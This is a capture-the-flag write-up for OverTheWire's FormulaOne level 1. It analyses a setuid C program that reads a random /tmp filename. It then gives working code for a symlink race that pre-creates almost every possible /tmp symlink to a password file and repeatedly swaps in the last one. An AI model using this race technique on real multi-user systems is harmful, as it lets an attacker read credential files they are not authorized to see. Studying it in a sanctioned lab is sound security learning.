FormulaOne: Level 1 -> Level 2

Background

This is the third part in a series of posts on overthewire's FormulaOne game. If you'd like to read the earlier posts, you can do so here:

• part one
• part two

Goal

We currently have the password for user formulaone1. We will need an exploit that will allow us to read the password for user formulaone2.

Setup

ssh formulaone1@formulaone.labs.overthewire.org -p 2232

Analyzing the Code

The code for the next level lives in the /formulaone/formulaone2_src directory. There are two files. The comments have been added by me.

formulaone2.c

#include <stdio.h>

int main(int argc, char *argv[]){
  char buf[256];

  // Opens the file, and returns the pointer
  // The filename will look like: /tmp/tmp_abcd
  FILE *f = fopen(mytmpnam(NULL),"r");

  // Read the file contents
  fgets(buf, sizeof(buf), f);

  // Write the file contents to stdout
  fwrite(buf, sizeof(buf), 1, stdout);
  return;
}

tmpnam.c

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>


#define PREFIX "/tmp/tmp_"
#define RNDLEN 4

char mytmpnam_buffer[100];

char *mytmpnam(char *s) {
    int i, seed, result, prefixlen = strlen(PREFIX);
    FILE *in;
    struct stat st;

    // Opens the Unix random number generator
    if(!(in = fopen("/dev/urandom", "r"))) return NULL;

    // Read bytes from /dev/urandom into seed variable
    fread(&seed, sizeof(seed), 1, in);

    fclose(in);

    // Seeds the C library's random number generator
    srand(seed);

    // Infinite loop to generate random file name
    while(1) {
	    strcpy(mytmpnam_buffer, PREFIX);

        // Appends random letters to the end of /tmp/tmp_
        // In this case, there will be 4 random letters
        for(i = prefixlen; i < prefixlen + RNDLEN; i++) {
            mytmpnam_buffer[i] = 'a' + (rand() % 26);
	    }

        // Add null terminator
	    mytmpnam_buffer[i] = 0;

        // Checks is a file already exists with the same name
        // If no file already exists, then return the generated filename
	    if(stat(mytmpnam_buffer, &st) != 0) return mytmpnam_buffer;
    }

    return NULL;
}

#ifdef MAIN
void main() {
   printf("%s\n", mytmpnam(NULL));
}
#endif

Putting it all together

When the formulaone2.c program is run, it will call upon tmpnam.c to generate a filename of the format: tmp_xxxx, where xxxx are four randomly chosen characters. Then, it will read the contents of that file (assuming that it exists) and print those contents to stdout. One other important piece of information is that this file will be run with the permissions of the formulaone2 user.

What can we exploit?

We essentially want to run this program, and have it somehow read the contents of the password file located at /etc/formulaone_pass/formulaone2. But the program will always read files of the format /tmp/tmp_xxxx. It's clear that will need a symlink between /tmp/tmp_xxxx and /etc/formulaone_pass/formulaone2.

But there are two problems.

1. The symlink we create cannot exist until after tmpnam.c has chosen a random filename. This is because the tmpnam program checks if a file already exists with the same name. If there is a file already with that name, then it will try a different random filename. So we can see that similar to the previous level, we will likely need to exploit a race condition.
2. We don't know ahead of time what 4 characters might be randomly chosen, each time tmpnam.c runs. So how do we know what the name of our symlink should be?

Can the random characters be predicted?

This being a CTF, the creators are purposely leaving behind known exploits for us. My first thought was to see if there are any known exploits around /dev/urandom. Some of the ideas I considered are:

• Running /dev/urandom a bunch of times in a row to see if we can guess the initial state. It is known that pseudo-random number generators can occasionally be exploited, because they may repeat a previously seen sequence. It seems that people educated on this topic think that this is possible in theory, but it's not been successfully done in the wild.
• Attempting to run an identical copy of /dev/urandom, in parallel. The idea being that, if we can exactly copy the current state of /dev/urandom, and run the copy in parallel, we might get the same random output generated. As far as I can tell, the state of dev/urandom cannot be copied.

The answer it seems, is that we can't predict the random sequence of characters coming from dev/urandom. Although, it is theoretically possible, it seems clear this isn't what we are meant to exploit.

Can the race condition be exploited?

It seems clear to me, that there is a race condition. If we can create a symlink, with the same name that is chosen by tmpnam.c. But we must create that symlink in the moment after the program checks if the file name already exists.

while(1) {
    strcpy(mytmpnam_buffer, PREFIX);

    for(i = prefixlen; i < prefixlen + RNDLEN; i++) {
        mytmpnam_buffer[i] = 'a' + (rand() % 26);
    }

    mytmpnam_buffer[i] = 0;

    // We must create the symlink in the moments just after this check
    if(stat(mytmpnam_buffer, &st) != 0) return mytmpnam_buffer;
}

But there's another complexity. There are $26^4 = 456,976$ possible file names.

Perhaps we can generate $26^4 - 1 = 456,975$ of the symlinks ahead of time, leaving just 1 possible filename to be chosen by tmpnam.c. With the 1 remaining filename, we could have an infinite loop that repeatedly creates and destroy the symlink. With some luck, we would hit the right timing, and print the contents of the password file.

The crafted exploit

There are several parts to this exploit.

1. We need to create all but 1 of the symlinks ahead of time.
2. We need one infinite loop that creates and destroys a symlink with the 1 remaining filename.
3. We need another infinite loop that runs the ./formulaone2 program, until the password file is exposed.

Half a million symlinks

#!/bin/bash

# The target file for the precreated symlinks doesn't actually matter
TARGET_FILE="/etc/formulaone_pass/formulaone2"
SYMLINK_DIR="/tmp"

# Creates 26^4 - 1 = 456975 symlinks
# This takes a loooong time on the bandit server
# Should convert this to C
echo "starting"
for a in {a..z}; do
  for b in {a..z}; do
    for c in {a..z}; do
      for d in {a..z}; do
        FILENAME="${SYMLINK_DIR}/tmp_${a}${b}${c}${d}"
        if [[ "${a}${b}${c}${d}" != "zzzz" ]]; then
          ln -sf "$TARGET_FILE" "$FILENAME"
        fi
      done
    done
  done
done

echo "done creating symlinks"

This script actually takes fairly long to run (~15 minutes or so) - probably because bash scripts are not very fast. If I had to repeat this exercise, I would use C instead.

Infinite Symlink swapper

We've left only one filename for tmpnam.c to choose. Now, we need to repeatedly create and destroy the symlink to that remaining filename tmp/tmp_zzzz.

There's a narrow window we need to hit between the check for the filename existance, and when the formulaone2 program trys to read the file. That's where the usleep(x) comes in. We can experiment with different values for x until we successfully print the password we need. If formulaone2 is not successful in the attempt to read the file, we will see a segfault error. Unfortunately, that segfault error won't indicate the direction we need to adjust the sleep (up or down). But, we can make a reasonable guess that our window is >= 1 microseconds (0.000001 secons), and less than 10000 microseconds (0.01 seconds).

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>

#define TARGET_FILE "/etc/formulaone_pass/formulaone2"
#define SYMLINK "/tmp/tmp_zzzz"

int main() {
    printf("Swapping symlinks");

    while (1) {
        symlink(TARGET_FILE, SYMLINK);

        // Sleep - need to experiment to find the right value
        usleep(50);

        // Remove the symlink
        unlink(SYMLINK);
    }

    return 0;
}

Infinite formulaone2.c runner

while true; do
    /formulaone/formulaone2
    # Adding a small sleep here might increase the success rate of the exploit
done

Success!

It takes a small amount of experimenting with the sleep value, but ultimately the exploit works just as we expected.

Stay tuned for the next level -- an initial look at the challenge suggests we will have to exploit a buffer overflow!